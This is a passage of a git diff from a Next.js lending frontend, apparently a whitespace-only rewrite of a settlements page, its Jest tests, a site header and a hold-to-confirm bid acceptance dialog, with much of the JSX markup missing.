.mockResolvedValueOnce(response([makeSettlement(1)])); - render(); - - expect(await screen.findByRole("alert")).toBeTruthy(); - await userEvent.click(screen.getByRole("button", { name: "Retry" })); - await waitFor(() => expect(mockListSettlements).toHaveBeenCalledTimes(2)); - expect(await screen.findByTestId("settlement-row")).toBeTruthy(); - }); - - it("shows stale-data notice only when lag exceeds 30 seconds", async () => { - const { unmount } = await renderConnected([makeSettlement(1)], 45); - expect( - await screen.findByText( - "Data may be up to 45 seconds behind the network." - ) - ).toBeTruthy(); - - mockListSettlements.mockResolvedValue(response([makeSettlement(2)], 10)); - unmount(); - render(); - await screen.findByTestId("settlement-row"); - expect( - screen.queryByText(/Data may be up to .* seconds behind the network/) - ).toBeNull(); - }); - - it("prompts for a wallet and does not fetch without a connected address", () => { - mockUseWallet.mockReturnValue({ state: "disconnected" }); - render(); - - expect( - screen.getByText("Connect your wallet to see your settlements.") - ).toBeTruthy(); - expect(mockListSettlements).not.toHaveBeenCalled(); - }); -}); +import { act, render, screen, waitFor } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import type React from "react"; +import SettlementsPage from "./page"; +import { listSettlements, type Settlement } from "./_lib/data"; +import { useWallet } from "@/app/lib/wallet/WalletProvider"; + +jest.mock("next/navigation", () => ({ + useRouter: () => ({ replace: mockReplace }), + usePathname: () => "/business/settlements", + useSearchParams: () => new URLSearchParams(mockSearch), +})); + +jest.mock("next/link", () => { + const React = require("react"); + return { + __esModule: true, + default: ({ + href, + children, + ...props + }: React.AnchorHTMLAttributes & { href: string }) => + React.createElement("a", { href, ...props }, children), + }; +}); + +jest.mock("./_lib/data", () => ({ + listSettlements: jest.fn(), +})); + +jest.mock("@/app/lib/wallet/WalletProvider", () => ({ + useWallet: jest.fn(), + WalletConnectControl: () => + require("react").createElement("button", null, "Connect Wallet"), +})); + +const mockReplace = jest.fn((url: string) => { + mockSearch = url.split("?")[1] ?? ""; +}); +let mockSearch = ""; +const mockListSettlements = jest.mocked(listSettlements); +const mockUseWallet = jest.mocked(useWallet); +const connectedAddress = "GCONNECTEDWALLET"; + +function makeSettlement( + index: number, + overrides: Partial = {} +): Settlement { + return { + id: `settlement-${index}`, + invoice_id: `0x1234567890abcdef${index.toString().padStart(4, "0")}`, + amount: String(index + 1), + payer: index % 2 ? connectedAddress : `GOUTSIDER${index}`, + recipient: index % 2 ? `GOUTSIDER${index}` : connectedAddress, + timestamp: Math.floor(Date.now() / 1000) - index * 60, + status: index % 2 ? "Paid" : "Pending", + ...overrides, + }; +} + +function response(data: Settlement[], indexLagSeconds = 10) { + return { data, freshness: { indexLagSeconds } }; +} + +async function renderConnected(rows: Settlement[], lag = 10) { + mockUseWallet.mockReturnValue({ + state: "connected", + address: connectedAddress, + }); + mockListSettlements.mockResolvedValue(response(rows, lag)); + const rendered = render(); + await waitFor(() => expect(mockListSettlements).toHaveBeenCalledTimes(1)); + return rendered; +} + +beforeEach(() => { + mockSearch = ""; + mockReplace.mockClear(); + mockListSettlements.mockReset(); + mockUseWallet.mockReturnValue({ + state: "connected", + address: connectedAddress, + }); +}); + +describe("Settlement receipts page", () => { + it("shows 20 rows, loads more in pages of 20, and scopes results to the wallet", async () => { + await renderConnected([ + ...Array.from({ length: 45 }, (_, index) => makeSettlement(index)), + ...Array.from({ length: 5 }, (_, index) => + makeSettlement(100 + index, { + payer: `GOTHER${index}`, + recipient: `GOTHERRECIPIENT${index}`, + }) + ), + ]); + + await waitFor(() => + expect(screen.getAllByTestId("settlement-row")).toHaveLength(20) + ); + expect(screen.getByRole("button", { name: "Load more" })).toBeTruthy(); + + await userEvent.click(screen.getByRole("button", { name: "Load more" })); + expect(screen.getAllByTestId("settlement-row")).toHaveLength(40); + await userEvent.click(screen.getByRole("button", { name: "Load more" })); + expect(screen.getAllByTestId("settlement-row")).toHaveLength(45); + expect(screen.queryByRole("button", { name: "Load more" })).toBeNull(); + + for (const row of screen.getAllByTestId("settlement-row")) { + expect(row.textContent).not.toContain("GOTHER"); + expect(row.textContent).not.toContain("GOUTSIDER"); + } + }); + + it("filters by status and mirrors the selected status in the URL", async () => { + await renderConnected( + Array.from({ length: 6 }, (_, index) => makeSettlement(index)) + ); + + await userEvent.selectOptions(screen.getByLabelText("Status"), "Paid"); + await waitFor(() => + expect(screen.getAllByTestId("settlement-row")).toHaveLength(3) + ); + expect(mockReplace).toHaveBeenCalledWith( + "/business/settlements?status=Paid", + { scroll: false } + ); + for (const row of screen.getAllByTestId("settlement-row")) { + expect(row.textContent).toContain("Paid"); + expect(row.textContent).not.toContain("Pending"); + } + }); + + it("sorts large amounts using BigInt rather than Number", async () => { + await renderConnected( + [ + makeSettlement(1, { amount: "5" }), + makeSettlement(2, { amount: "900000000000000000000" }), + ], + 10 + ); + + await userEvent.selectOptions(screen.getByLabelText("Date range"), "all"); + await userEvent.selectOptions(screen.getByLabelText("Sort"), "amount_desc"); + const rows = screen.getAllByTestId("settlement-row"); + expect(rows[0].textContent).toContain("900000000000000000000"); + expect(rows[1].textContent).toContain("5"); + }); + + it("sums values above Number safe integer precision exactly", async () => { + await renderConnected([ + makeSettlement(1, { amount: "9007199254740993" }), + makeSettlement(2, { amount: "1" }), + ]); + + expect( + await screen.findByText("Total this period: 9007199254740994 units") + ).toBeTruthy(); + }); + + it("renders five accessible loading skeleton rows", async () => { + let resolveFetch!: (value: ReturnType) => void; + mockUseWallet.mockReturnValue({ + state: "connected", + address: connectedAddress, + }); + mockListSettlements.mockReturnValue( + new Promise((resolve) => { + resolveFetch = resolve; + }) + ); + render(); + + expect((await screen.findByRole("table")).getAttribute("aria-busy")).toBe( + "true" + ); + expect(screen.getAllByTestId("settlement-skeleton-row")).toHaveLength(5); + await act(async () => resolveFetch(response([]))); + }); + + it("shows the empty-state placeholder when no rows are returned", async () => { + await renderConnected([]); + expect(await screen.findByText("No settlement history")).toBeTruthy(); + }); + + it("shows an alert and retries a rejected fetch", async () => { + mockUseWallet.mockReturnValue({ + state: "connected", + address: connectedAddress, + }); + mockListSettlements + .mockRejectedValueOnce(new Error("offline")) + .mockResolvedValueOnce(response([makeSettlement(1)])); + render(); + + expect(await screen.findByRole("alert")).toBeTruthy(); + await userEvent.click(screen.getByRole("button", { name: "Retry" })); + await waitFor(() => expect(mockListSettlements).toHaveBeenCalledTimes(2)); + expect(await screen.findByTestId("settlement-row")).toBeTruthy(); + }); + + it("shows stale-data notice only when lag exceeds 30 seconds", async () => { + const { unmount } = await renderConnected([makeSettlement(1)], 45); + expect( + await screen.findByText( + "Data may be up to 45 seconds behind the network." + ) + ).toBeTruthy(); + + mockListSettlements.mockResolvedValue(response([makeSettlement(2)], 10)); + unmount(); + render(); + await screen.findByTestId("settlement-row"); + expect( + screen.queryByText(/Data may be up to .* seconds behind the network/) + ).toBeNull(); + }); + + it("prompts for a wallet and does not fetch without a connected address", () => { + mockUseWallet.mockReturnValue({ state: "disconnected" }); + render(); + + expect( + screen.getByText("Connect your wallet to see your settlements.") + ).toBeTruthy(); + expect(mockListSettlements).not.toHaveBeenCalled(); + }); +}); diff --git a/quicklendx-frontend/app/business/settlements/page.tsx b/quicklendx-frontend/app/business/settlements/page.tsx index 6153c30f5..12f609505 100644 --- a/quicklendx-frontend/app/business/settlements/page.tsx +++ b/quicklendx-frontend/app/business/settlements/page.tsx @@ -1,297 +1,297 @@ -"use client"; - -import { Suspense, useCallback, useEffect, useMemo, useState } from "react"; -import Link from "next/link"; -import { usePathname, useRouter, useSearchParams } from "next/navigation"; -import { - WalletConnectControl, - useWallet, -} from "@/app/lib/wallet/WalletProvider"; -import { EmptySettlements } from "./_components/EmptySettlements"; -import { SettlementsFilters } from "./_components/SettlementsFilters"; -import { SettlementsTable } from "./_components/SettlementsTable"; -import { listSettlements, type Settlement } from "./_lib/data"; -import { settlementsCsvFilename, settlementsToCsv } from "./_lib/csv"; -import { - selectRows, - SETTLEMENT_PAGE_SIZE, - sumAmounts, - type SettlementRange, - type SettlementSort, - type SettlementStatusFilter, -} from "./_lib/selectRows"; - -function validStatus(value: string | null): SettlementStatusFilter { - return value === "Pending" || value === "Paid" || value === "Defaulted" - ? value - : "All"; -} - -function validRange(value: string | null): SettlementRange { - return value === "90d" || value === "all" ? value : "30d"; -} - -function validSort(value: string | null): SettlementSort { - return value === "date_asc" || - value === "amount_desc" || - value === "amount_asc" - ? value - : "date_desc"; -} - -function readFilters(search: string) { - const params = new URLSearchParams(search); - return { - status: validStatus(params.get("status")), - range: validRange(params.get("range")), - sort: validSort(params.get("sort")), - }; -} - -function SettlementsContent() { - const wallet = useWallet(); - const router = useRouter(); - const pathname = usePathname(); - const searchParams = useSearchParams(); - const search = searchParams.toString(); - const [allRows, setAllRows] = useState([]); - const [freshnessLag, setFreshnessLag] = useState(null); - const [loadState, setLoadState] = useState<"loading" | "ready" | "error">( - "loading" - ); - const [retryCount, setRetryCount] = useState(0); - const [page, setPage] = useState(1); - const [focusNewRow, setFocusNewRow] = useState(null); - const [filters, setFilters] = useState(() => readFilters(search)); - const { status, range, sort } = filters; - - useEffect(() => { - setFilters(readFilters(search)); - setPage(1); - }, [search]); - - useEffect(() => { - if (wallet.state !== "connected" || !wallet.address) return; - - let active = true; - setLoadState("loading"); - listSettlements({}) - .then((response) => { - if (!active) return; - setAllRows(response.data); - setFreshnessLag(response.freshness.indexLagSeconds); - setLoadState("ready"); - }) - .catch(() => { - if (active) setLoadState("error"); - }); - - return () => { - active = false; - }; - }, [wallet.address, wallet.state, retryCount]); - - const filteredRows = useMemo( - () => - wallet.address - ? selectRows(allRows, { - address: wallet.address, - status, - range, - sort, - page: Math.ceil(allRows.length / SETTLEMENT_PAGE_SIZE) || 1, - }) - : [], - [allRows, range, sort, status, wallet.address] - ); - const visibleRows = filteredRows.slice(0, page * SETTLEMENT_PAGE_SIZE); - const total = sumAmounts(filteredRows); - - useEffect(() => { - if (focusNewRow === null) return; - document - .querySelector(`[data-row-index="${focusNewRow}"]`) - ?.focus(); - setFocusNewRow(null); - }, [focusNewRow, visibleRows.length]); - - const updateUrl = useCallback( - ( - next: Partial<{ - status: SettlementStatusFilter; - range: SettlementRange; - sort: SettlementSort; - }> - ) => { - const params = new URLSearchParams(search); - const values = { - status: next.status ?? status, - range: next.range ?? range, - sort: next.sort ?? sort, - }; - setFilters(values); - for (const [key, value] of Object.entries(values)) { - const defaultValue = - key === "status" ? "All" : key === "range" ? "30d" : "date_desc"; - if (value === defaultValue) params.delete(key); - else params.set(key, value); - } - const query = params.toString(); - router.replace(query ? `${pathname}?${query}` : pathname, { - scroll: false, - }); - }, - [pathname, range, router, search, sort, status] - ); - - const exportCsv = useCallback(() => { - const blob = new Blob([settlementsToCsv(filteredRows)], { - type: "text/csv;charset=utf-8", - }); - const url = URL.createObjectURL(blob); - const link = document.createElement("a"); - link.href = url; - link.download = settlementsCsvFilename(); - link.click(); - URL.revokeObjectURL(url); - }, [filteredRows]); - - if (wallet.state !== "connected" || !wallet.address) { - return ( -
- - Back to business dashboard - -
-

- Settlement receipts -

-

- Connect your wallet to see your settlements. -

-
- -
-
-
- ); - } - - return ( -
-
- - Back to business dashboard - -
-

- Business -

-

- Settlement receipts -

-

- View and export settlement activity for this wallet. -

-
-
- - { - setPage(1); - updateUrl({ status: value }); - }} - onRangeChange={(value) => { - setPage(1); - updateUrl({ range: value }); - }} - onSortChange={(value) => { - setPage(1); - updateUrl({ sort: value }); - }} - onExport={exportCsv} - /> - - {freshnessLag !== null && freshnessLag > 30 && ( -

- Data may be up to {freshnessLag} seconds behind the network. -

- )} - - {loadState === "error" ? ( -
-

Could not load settlements. Please try again.

- -
- ) : ( - <> - - - {loadState === "ready" && filteredRows.length === 0 && ( - - )} - - {loadState === "ready" && filteredRows.length > 0 && ( - <> - {visibleRows.length < filteredRows.length && ( -
- -
- )} -
- Total this period: {total.toString()} units -
- - )} - - )} -
- ); -} - -export default function SettlementsPage() { - return ( - - Loading settlement receipts… - - } - > - - - ); -} +"use client"; + +import { Suspense, useCallback, useEffect, useMemo, useState } from "react"; +import Link from "next/link"; +import { usePathname, useRouter, useSearchParams } from "next/navigation"; +import { + WalletConnectControl, + useWallet, +} from "@/app/lib/wallet/WalletProvider"; +import { EmptySettlements } from "./_components/EmptySettlements"; +import { SettlementsFilters } from "./_components/SettlementsFilters"; +import { SettlementsTable } from "./_components/SettlementsTable"; +import { listSettlements, type Settlement } from "./_lib/data"; +import { settlementsCsvFilename, settlementsToCsv } from "./_lib/csv"; +import { + selectRows, + SETTLEMENT_PAGE_SIZE, + sumAmounts, + type SettlementRange, + type SettlementSort, + type SettlementStatusFilter, +} from "./_lib/selectRows"; + +function validStatus(value: string | null): SettlementStatusFilter { + return value === "Pending" || value === "Paid" || value === "Defaulted" + ? value + : "All"; +} + +function validRange(value: string | null): SettlementRange { + return value === "90d" || value === "all" ? value : "30d"; +} + +function validSort(value: string | null): SettlementSort { + return value === "date_asc" || + value === "amount_desc" || + value === "amount_asc" + ? value + : "date_desc"; +} + +function readFilters(search: string) { + const params = new URLSearchParams(search); + return { + status: validStatus(params.get("status")), + range: validRange(params.get("range")), + sort: validSort(params.get("sort")), + }; +} + +function SettlementsContent() { + const wallet = useWallet(); + const router = useRouter(); + const pathname = usePathname(); + const searchParams = useSearchParams(); + const search = searchParams.toString(); + const [allRows, setAllRows] = useState([]); + const [freshnessLag, setFreshnessLag] = useState(null); + const [loadState, setLoadState] = useState<"loading" | "ready" | "error">( + "loading" + ); + const [retryCount, setRetryCount] = useState(0); + const [page, setPage] = useState(1); + const [focusNewRow, setFocusNewRow] = useState(null); + const [filters, setFilters] = useState(() => readFilters(search)); + const { status, range, sort } = filters; + + useEffect(() => { + setFilters(readFilters(search)); + setPage(1); + }, [search]); + + useEffect(() => { + if (wallet.state !== "connected" || !wallet.address) return; + + let active = true; + setLoadState("loading"); + listSettlements({}) + .then((response) => { + if (!active) return; + setAllRows(response.data); + setFreshnessLag(response.freshness.indexLagSeconds); + setLoadState("ready"); + }) + .catch(() => { + if (active) setLoadState("error"); + }); + + return () => { + active = false; + }; + }, [wallet.address, wallet.state, retryCount]); + + const filteredRows = useMemo( + () => + wallet.address + ? selectRows(allRows, { + address: wallet.address, + status, + range, + sort, + page: Math.ceil(allRows.length / SETTLEMENT_PAGE_SIZE) || 1, + }) + : [], + [allRows, range, sort, status, wallet.address] + ); + const visibleRows = filteredRows.slice(0, page * SETTLEMENT_PAGE_SIZE); + const total = sumAmounts(filteredRows); + + useEffect(() => { + if (focusNewRow === null) return; + document + .querySelector(`[data-row-index="${focusNewRow}"]`) + ?.focus(); + setFocusNewRow(null); + }, [focusNewRow, visibleRows.length]); + + const updateUrl = useCallback( + ( + next: Partial<{ + status: SettlementStatusFilter; + range: SettlementRange; + sort: SettlementSort; + }> + ) => { + const params = new URLSearchParams(search); + const values = { + status: next.status ?? status, + range: next.range ?? range, + sort: next.sort ?? sort, + }; + setFilters(values); + for (const [key, value] of Object.entries(values)) { + const defaultValue = + key === "status" ? "All" : key === "range" ? "30d" : "date_desc"; + if (value === defaultValue) params.delete(key); + else params.set(key, value); + } + const query = params.toString(); + router.replace(query ? `${pathname}?${query}` : pathname, { + scroll: false, + }); + }, + [pathname, range, router, search, sort, status] + ); + + const exportCsv = useCallback(() => { + const blob = new Blob([settlementsToCsv(filteredRows)], { + type: "text/csv;charset=utf-8", + }); + const url = URL.createObjectURL(blob); + const link = document.createElement("a"); + link.href = url; + link.download = settlementsCsvFilename(); + link.click(); + URL.revokeObjectURL(url); + }, [filteredRows]); + + if (wallet.state !== "connected" || !wallet.address) { + return ( +
+ + Back to business dashboard + +
+

+ Settlement receipts +

+

+ Connect your wallet to see your settlements. +

+
+ +
+
+
+ ); + } + + return ( +
+
+ + Back to business dashboard + +
+

+ Business +

+

+ Settlement receipts +

+

+ View and export settlement activity for this wallet. +

+
+
+ + { + setPage(1); + updateUrl({ status: value }); + }} + onRangeChange={(value) => { + setPage(1); + updateUrl({ range: value }); + }} + onSortChange={(value) => { + setPage(1); + updateUrl({ sort: value }); + }} + onExport={exportCsv} + /> + + {freshnessLag !== null && freshnessLag > 30 && ( +

+ Data may be up to {freshnessLag} seconds behind the network. +

+ )} + + {loadState === "error" ? ( +
+

Could not load settlements. Please try again.

+ +
+ ) : ( + <> + + + {loadState === "ready" && filteredRows.length === 0 && ( + + )} + + {loadState === "ready" && filteredRows.length > 0 && ( + <> + {visibleRows.length < filteredRows.length && ( +
+ +
+ )} +
+ Total this period: {total.toString()} units +
+ + )} + + )} +
+ ); +} + +export default function SettlementsPage() { + return ( + + Loading settlement receipts… + + } + > + + + ); +} diff --git a/quicklendx-frontend/app/components/AppHeader.tsx b/quicklendx-frontend/app/components/AppHeader.tsx index 458d5ebd1..6f031e565 100644 --- a/quicklendx-frontend/app/components/AppHeader.tsx +++ b/quicklendx-frontend/app/components/AppHeader.tsx @@ -1,40 +1,40 @@ -"use client"; - -/** - * AppHeader — global site header rendered on every route. - * - * Contains: - * - Logo linking to "/" - * - for wallet connection UI - * - * Must be wrapped in (done in app/layout.tsx). - */ - -import React from "react"; -import Link from "next/link"; -import { WalletConnect } from "./WalletConnect"; - -export function AppHeader() { - return ( -
-
- {/* Logo */} - - {/* Wordmark */} - - QuickLendX - - - - {/* Wallet connect */} - -
-
- ); -} - -export default AppHeader; +"use client"; + +/** + * AppHeader — global site header rendered on every route. + * + * Contains: + * - Logo linking to "/" + * - for wallet connection UI + * + * Must be wrapped in (done in app/layout.tsx). + */ + +import React from "react"; +import Link from "next/link"; +import { WalletConnect } from "./WalletConnect"; + +export function AppHeader() { + return ( +
+
+ {/* Logo */} + + {/* Wordmark */} + + QuickLendX + + + + {/* Wallet connect */} + +
+
+ ); +} + +export default AppHeader; diff --git a/quicklendx-frontend/app/components/ConfirmAction.tsx b/quicklendx-frontend/app/components/ConfirmAction.tsx index 563f44ea0..77aca0d17 100644 --- a/quicklendx-frontend/app/components/ConfirmAction.tsx +++ b/quicklendx-frontend/app/components/ConfirmAction.tsx @@ -1,751 +1,751 @@ -"use client"; - -import React, { - useCallback, - useEffect, - useId, - useReducer, - useRef, - useState, -} from "react"; -import toast from "react-hot-toast"; -import { Dialog } from "./Dialog"; - -// --------------------------------------------------------------------------- -// Types -// --------------------------------------------------------------------------- - -export interface FeeLineItem { - label: string; - amount: number; // XLM, 7 decimal places - isEstimate: boolean; - estimateTooltip?: string; // required when isEstimate === true -} - -export interface ConfirmActionProps { - isOpen: boolean; - onClose: () => void; - /** Resolves on server success; rejects with Error on failure. */ - onConfirm: () => Promise; - /** Optional: called immediately after hold completes (optimistic update). */ - onOptimisticUpdate?: () => void; - /** Optional: called when server rejects (revert optimistic update). */ - onRevert?: () => void; - - // Commitment summary data - invoiceId: string; - bidId: string; - lockedAmountXlm: number; - lockUntilDate: Date; - fees: FeeLineItem[]; - collateralisationRatio: number; // e.g. 1.08 = 108% - stellarExplorerUrl: string; - - /** Ref to the element that triggered the dialog — focus returns here on close. */ - triggerRef?: React.RefObject; -} - -// --------------------------------------------------------------------------- -// State machine -// --------------------------------------------------------------------------- - -type DialogPhase = - | { phase: "idle" } - | { phase: "holding"; progressPct: number } - | { phase: "submitting" } - | { phase: "error"; message: string } - | { phase: "timeout" }; - -type DialogAction = - | { type: "HOLD_START" } - | { type: "HOLD_PROGRESS"; progressPct: number } - | { type: "HOLD_CANCEL" } - | { type: "HOLD_COMPLETE" } - | { type: "SUBMIT" } - | { type: "SUCCESS" } - | { type: "ERROR"; message: string } - | { type: "TIMEOUT" } - | { type: "RESET" }; - -function dialogReducer(state: DialogPhase, action: DialogAction): DialogPhase { - switch (action.type) { - case "HOLD_START": - return { phase: "holding", progressPct: 0 }; - case "HOLD_PROGRESS": - return { phase: "holding", progressPct: action.progressPct }; - case "HOLD_CANCEL": - return { phase: "idle" }; - case "HOLD_COMPLETE": - case "SUBMIT": - return { phase: "submitting" }; - case "SUCCESS": - return { phase: "idle" }; - case "ERROR": - return { phase: "error", message: action.message }; - case "TIMEOUT": - return { phase: "timeout" }; - case "RESET": - return { phase: "idle" }; - default: - return state; - } -} - -// --------------------------------------------------------------------------- -// Constants -// --------------------------------------------------------------------------- - -const HOLD_DURATION_MS = 1500; -const HOLD_TICK_MS = 50; -const SERVER_TIMEOUT_MS = 10_000; -const TWO_STEP_MIN_GAP_MS = 500; -const TWO_STEP_RESET_MS = 5_000; -const PROGRESS_ARC_RADIUS = 20; -const PROGRESS_ARC_CIRCUMFERENCE = 2 * Math.PI * PROGRESS_ARC_RADIUS; -const LOW_COLLATERAL_THRESHOLD = 1.1; // 110% - -// --------------------------------------------------------------------------- -// Helpers -// --------------------------------------------------------------------------- - -function formatXlm(amount: number): string { - return amount.toLocaleString("en-US", { - minimumFractionDigits: 7, - maximumFractionDigits: 7, - }); -} - -function formatLockDate(date: Date): string { - const abs = date.toLocaleDateString("en-US", { - month: "long", - day: "numeric", - year: "numeric", - }); - const time = date.toLocaleTimeString("en-US", { - hour: "2-digit", - minute: "2-digit", - hour12: false, - timeZone: "UTC", - }); - const now = Date.now(); - const diffDays = Math.round((date.getTime() - now) / 86_400_000); - const relative = - diffDays > 0 ? ` (${diffDays} day${diffDays !== 1 ? "s" : ""})` : ""; - return `${abs}, ${time} UTC${relative}`; -} - -// --------------------------------------------------------------------------- -// ProgressArc sub-component -// --------------------------------------------------------------------------- - -interface ProgressArcProps { - progressPct: number; - reducedMotion: boolean; -} - -const ProgressArc: React.FC = ({ - progressPct, - reducedMotion, -}) => { - const offset = PROGRESS_ARC_CIRCUMFERENCE * (1 - progressPct / 100); - - if (reducedMotion) { - return ( - - {Math.round(progressPct)}% - - ); - } - - return ( - - ); -}; - -// --------------------------------------------------------------------------- -// CommitmentSummary sub-component -// --------------------------------------------------------------------------- - -interface CommitmentSummaryProps { - id: string; - invoiceId: string; - lockedAmountXlm: number; - lockUntilDate: Date; - fees: FeeLineItem[]; - collateralisationRatio: number; - stellarExplorerUrl: string; -} - -const CommitmentSummary: React.FC = ({ - id, - invoiceId, - lockedAmountXlm, - lockUntilDate, - fees, - collateralisationRatio, - stellarExplorerUrl, -}) => { - const netPayout = - lockedAmountXlm - fees.reduce((sum, f) => sum + f.amount, 0); - const isLowCollateral = collateralisationRatio < LOW_COLLATERAL_THRESHOLD; - const collateralPct = Math.round(collateralisationRatio * 100); - - return ( -
-
-
-
Invoice
-
{invoiceId}
-
-
-
Locked
-
{formatXlm(lockedAmountXlm)} XLM
-
-
-
Until
-
{formatLockDate(lockUntilDate)}
-
-
- -

- By accepting, you lock{" "} - {formatXlm(lockedAmountXlm)} XLM{" "} - until {formatLockDate(lockUntilDate)}. -

- -
- {fees.map((fee, i) => ( -
- - {fee.label} - {fee.isEstimate && ( - <> - {" "} - (est.){" "} - - - )} - - {formatXlm(fee.amount)} XLM -
- ))} -
-
- Expected net payout - {formatXlm(netPayout)} XLM -
- - {isLowCollateral && ( -

- - Collateral ratio {collateralPct}% — below 110% threshold -

- )} - - - View on Stellar Explorer - - -
- ); -}; - -// --------------------------------------------------------------------------- -// HoldButton sub-component -// --------------------------------------------------------------------------- - -interface HoldButtonProps { - phase: DialogPhase["phase"]; - progressPct: number; - reducedMotion: boolean; - onHoldStart: () => void; - onHoldEnd: () => void; -} - -const HoldButton: React.FC = ({ - phase, - progressPct, - reducedMotion, - onHoldStart, - onHoldEnd, -}) => { - const isSubmitting = phase === "submitting"; - const isHolding = phase === "holding"; - const ariaLabelPct = Math.round(progressPct / 10) * 10; - - const label = isSubmitting ? "Confirming\u2026" : "Hold to confirm"; - const ariaLabel = isHolding - ? `Hold to confirm \u2014 ${ariaLabelPct}% complete` - : label; - - return ( - - ); -}; - -// --------------------------------------------------------------------------- -// TwoStepButton sub-component -// --------------------------------------------------------------------------- - -interface TwoStepButtonProps { - phase: DialogPhase["phase"]; - onConfirm: () => void; -} - -const TwoStepButton: React.FC = ({ phase, onConfirm }) => { - const [pending, setPending] = useState(false); - const firstClickTimeRef = useRef(0); - const resetTimerRef = useRef | null>(null); - - const isSubmitting = phase === "submitting"; - - const handleClick = useCallback(() => { - if (isSubmitting) return; - - if (!pending) { - setPending(true); - firstClickTimeRef.current = Date.now(); - resetTimerRef.current = setTimeout(() => { - setPending(false); - }, TWO_STEP_RESET_MS); - } else { - const elapsed = Date.now() - firstClickTimeRef.current; - if (elapsed >= TWO_STEP_MIN_GAP_MS) { - if (resetTimerRef.current) clearTimeout(resetTimerRef.current); - setPending(false); - onConfirm(); - } - } - }, [pending, isSubmitting, onConfirm]); - - useEffect(() => { - if (phase !== "idle" && phase !== "holding") { - setPending(false); - if (resetTimerRef.current) clearTimeout(resetTimerRef.current); - } - }, [phase]); - - useEffect(() => { - return () => { - if (resetTimerRef.current) clearTimeout(resetTimerRef.current); - }; - }, []); - - return ( - - ); -}; - -// --------------------------------------------------------------------------- -// Main ConfirmAction component -// --------------------------------------------------------------------------- - -export const ConfirmAction: React.FC = ({ - isOpen, - onClose, - onConfirm, - onOptimisticUpdate, - onRevert, - invoiceId, - bidId: _bidId, - lockedAmountXlm, - lockUntilDate, - fees, - collateralisationRatio, - stellarExplorerUrl, - triggerRef, -}) => { - const [state, dispatch] = useReducer(dialogReducer, { phase: "idle" }); - const [closing, setClosing] = useState(false); - - const holdIntervalRef = useRef | null>(null); - const serverTimeoutRef = useRef | null>(null); - const progressRef = useRef(0); - const handleSubmitRef = useRef<() => Promise>(() => Promise.resolve()); - - const titleId = useId(); - const summaryId = useId(); - - const [reducedMotion, setReducedMotion] = useState(false); - useEffect(() => { - const mq = window.matchMedia("(prefers-reduced-motion: reduce)"); - setReducedMotion(mq.matches); - const handler = (e: MediaQueryListEvent) => setReducedMotion(e.matches); - mq.addEventListener("change", handler); - return () => mq.removeEventListener("change", handler); - }, []); - - // Reset state when dialog opens - useEffect(() => { - if (isOpen) { - setClosing(false); - dispatch({ type: "RESET" }); - } - }, [isOpen]); - - const clearHoldInterval = useCallback(() => { - if (holdIntervalRef.current) { - clearInterval(holdIntervalRef.current); - holdIntervalRef.current = null; - } - progressRef.current = 0; - }, []); - - // Single close function — all close paths (success, dismiss, cancel, backdrop, - // Escape) must go through here so focus always returns to the trigger. - const handleClose = useCallback(() => { - if (state.phase === "submitting") return; - clearHoldInterval(); - const delay = reducedMotion ? 0 : 200; - setClosing(true); - setTimeout(() => { - setClosing(false); - onClose(); - }, delay); - // Focus return is handled by Dialog via triggerRef - }, [state.phase, reducedMotion, onClose, clearHoldInterval]); - - const handleHoldStart = useCallback(() => { - if (state.phase !== "idle") return; - dispatch({ type: "HOLD_START" }); - progressRef.current = 0; - - holdIntervalRef.current = setInterval(() => { - progressRef.current += (HOLD_TICK_MS / HOLD_DURATION_MS) * 100; - if (progressRef.current >= 100) { - clearHoldInterval(); - dispatch({ type: "HOLD_COMPLETE" }); - handleSubmitRef.current(); - } else { - dispatch({ type: "HOLD_PROGRESS", progressPct: progressRef.current }); - } - }, HOLD_TICK_MS); - }, [state.phase, clearHoldInterval]); - - const handleHoldEnd = useCallback(() => { - if (state.phase !== "holding") return; - clearHoldInterval(); - dispatch({ type: "HOLD_CANCEL" }); - }, [state.phase, clearHoldInterval]); - - const handleSubmit = useCallback(async () => { - dispatch({ type: "SUBMIT" }); - onOptimisticUpdate?.(); - - serverTimeoutRef.current = setTimeout(() => { - dispatch({ type: "TIMEOUT" }); - }, SERVER_TIMEOUT_MS); - - try { - await onConfirm(); - if (serverTimeoutRef.current) clearTimeout(serverTimeoutRef.current); - dispatch({ type: "SUCCESS" }); - // Route through handleClose so focus is returned - handleClose(); - toast.success("Bid accepted. Funds are in escrow.", { duration: 5000 }); - } catch (err) { - if (serverTimeoutRef.current) clearTimeout(serverTimeoutRef.current); - const message = - err instanceof Error - ? err.message - : "Transaction could not be submitted. Check your connection and try again."; - dispatch({ type: "ERROR", message }); - onRevert?.(); - } - }, [onConfirm, handleClose, onOptimisticUpdate, onRevert]); - - handleSubmitRef.current = handleSubmit; - - // Cleanup on unmount - useEffect(() => { - return () => { - clearHoldInterval(); - if (serverTimeoutRef.current) clearTimeout(serverTimeoutRef.current); - }; - }, [clearHoldInterval]); - - const isSubmitting = state.phase === "submitting"; - const progressPct = state.phase === "holding" ? state.progressPct : 0; - - const isMobile = typeof window !== "undefined" && window.innerWidth < 768; - const noAnim = reducedMotion || (typeof window !== "undefined" && window.innerWidth < 375); - - const panelAnimClass = noAnim - ? "" - : isMobile - ? closing - ? "animate-[cad-close-mobile_300ms_ease-in_forwards]" - : "animate-[cad-open-mobile_300ms_ease-out_forwards]" - : closing - ? "animate-[cad-close-desktop_200ms_ease-in_forwards]" - : "animate-[cad-open-desktop_200ms_ease-out_forwards]"; - - return ( - <> - - - - {/* Header */} -
-

- Accept bid -

- -
- - {/* Body */} -
- - - {state.phase === "error" && ( -

- Error: {state.message} -

- )} - - {state.phase === "timeout" && ( -

- This is taking longer than expected. Your action may still be - processing. Check back shortly. -

- )} -
- - {/* Footer */} -
-
- - -
- -
- {state.phase === "timeout" ? ( - // Dismiss — must also restore focus, so go through handleClose - - ) : ( - - )} -
-
-
